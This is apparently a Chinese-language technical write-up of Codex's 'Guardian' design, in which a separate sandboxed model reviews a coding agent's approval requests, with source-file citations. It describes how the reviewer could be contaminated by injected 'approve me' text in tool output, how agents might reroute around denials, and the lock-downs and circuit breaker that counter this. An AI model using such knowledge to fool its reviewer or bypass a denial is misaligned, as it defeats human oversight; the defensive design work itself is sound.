Guardian：讓一個模型去審批另一個模型

你開著 Codex 改倉庫。模型先跑 git status，再讀兩個檔案，然後要 git push。下一分鐘它要 curl，再下一分鐘要往 /tmp 寫備忘，再下一分鐘要刪掉那份備忘。彈窗疊彈窗。人開始只看命令頭兩個詞，拇指已經形成肌肉記憶。

這就是審批疲勞。防線還在，判斷已經不在。迴路退化成一個總是亮綠燈的按鈕。這時如果把自動放行交給剛寫出這條命令的主模型，申請人兼審批人。如果失敗時放行，超時和壞 JSON 就變成免費通行證。

Codex 把該不該自動放行抽成一次專職審查。它不替代沙箱，也不替代網路代理。它只接管一類本來會彈給使用者的 on-request 審批。路由很窄：策略必須是 OnRequest 或 Granular，審查員必須是 AutoReview。預設審查員仍是使用者。出處：codex-rs/core/src/guardian/review.rs 第 186 至 210 行

模組頭把四步寫死。

合同只有四個欄位。三個軸的列舉寫在協議層的 approvals.rs，不在 protocol.rs。outcome 是唯一必填。低風險允許可以只回 {"outcome":"allow"}，預設的風險補成 Low，授權補成 Unknown。

/// Structured output contract that the guardian reviewer must satisfy.
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq, Eq)]
pub(crate) struct GuardianAssessment {
    pub(crate) risk_level: codex_protocol::protocol::GuardianRiskLevel,
    pub(crate) user_authorization: codex_protocol::protocol::GuardianUserAuthorization,
    pub(crate) outcome: GuardianAssessmentOutcome,
    pub(crate) rationale: String,
}

審批疲勞是人因問題，審查員自己也會格式漂移。把沒給出可執行答案收成拒絕，換語言重寫也成立。輸入是不可信證據加一條確切動作，輸出是窮盡的 allow 或 deny，解析失敗就停。

主模型剛寫出這條要執行的命令。再讓它審自己，迴路是通的。工具輸出裡再夾一句請批准我，審查材料就被汙染。審查權如果落回申請人，專職審查員這個角色就不存在。

審查會話克隆父配置後立刻改寫。審批策略鎖成 Never，權限剖面與只讀相交，MCP 伺服器清成空表，技能、記憶、Apps 指令關掉，再禁用一串非必要特性。它還丟掉父級傳入的 exec-policy 規則，改用空的預設管理器。父級規則可能反過來塑造審查員，甚至讓審查員自己跑的只讀命令被靜默放行。出處：codex-rs/core/src/guardian/review_session.rs 第 1406 至 1448 行；codex-rs/core/src/session/mod.rs 第 544 至 548 行

審查員可以跑只讀命令，用來核實本地狀態，比如刪除目標在不在、是不是空目錄。它不會彈出新的審批，也不會再開一層 Guardian。配置裝配時顯式禁用了 GuardianV2。

trunk 空閒時，後續審批追加到同一條會話，prompt cache 穩定。trunk 忙碌時，從上次提交的 rollout 長出一間臨時小屋，審完就拆，不回寫。

給不受信任的審查權一個儘量小的環境，是安全設計的通用形狀。換模型、換提示詞、換能力面，該問的還是同一句：審查員到底需要哪幾樣能力，其餘的能不能一樣都不給。

審查員和執行模型卡在同一條被拒動作上，人看到的是一輪空轉。如果把超時也算進連續拒絕，基礎設施抖動會被誤判成模型連續作惡。

超時走 ReviewDecision::TimedOut，明確拒絕走 Denied。對模型的文案也拆開。超時告訴它不要僅因超時認定不安全，可以再試一次或去問使用者。明確拒絕拼上禁止改道繞過的指示，只允許實質更安全的替代，或使用者知情後的明確批准。出處：codex-rs/protocol/src/protocol.rs 第 3909 至 3910 行；codex-rs/core/src/guardian/review.rs 第 70 至 74 行

熔斷器按 turn 記帳，視窗長度 50。Standard 的閾值是連續 3 次，或視窗內累計 10 次。CyberModel 緊到第一次拒絕就停。只有評估結果為 Deny 才計入。超時和 fail-closed 走 record_non_denial，連續計數清零。觸發後發 GuardianWarning，再 abort_turn_if_active。出處：codex-rs/core/src/guardian/mod.rs 第 53 至 59 行、第 157 至 194 行

安全閘門需要把沒做完和明確說不分開記帳。混成一句沒通過，會把瞬時故障訓練成繞過行為。按 turn 計數、按視窗計數，兩套閾值即可。面向高對抗場景的策略可以緊到第一次拒絕就停。